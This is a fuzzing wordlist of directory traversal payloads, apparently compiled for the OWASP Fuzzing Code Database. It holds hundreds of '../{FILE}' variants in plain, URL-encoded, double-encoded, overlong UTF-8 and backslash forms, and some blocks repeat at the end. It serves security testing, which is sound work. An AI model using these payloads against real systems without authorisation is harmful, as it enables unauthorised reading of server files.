Deep Traversal Fuzz (7 March 2010) <br /> # Derived from the awesome &quot;Directory Traversal Fuzzing Code&quot; v0.2 by Luca Carettoni<br /> # Did some cleanup &amp; removed anything to the right of {FILE} for inclusion in a<br /> # separate fuzzfile for more flexibiity, for the OWASP Fuzzing Code Database. <br /> # adam.muntner@uietmove.com <br /> <br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %252e%252e\{FILE}<br /> %252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> ..%c0%af{FILE}<br /> ..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> %c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> ..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> ..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> %c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> ..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> ..%%32%66{FILE}<br /> ..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> %%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> ..%%35%63{FILE}<br /> ..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> %%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> 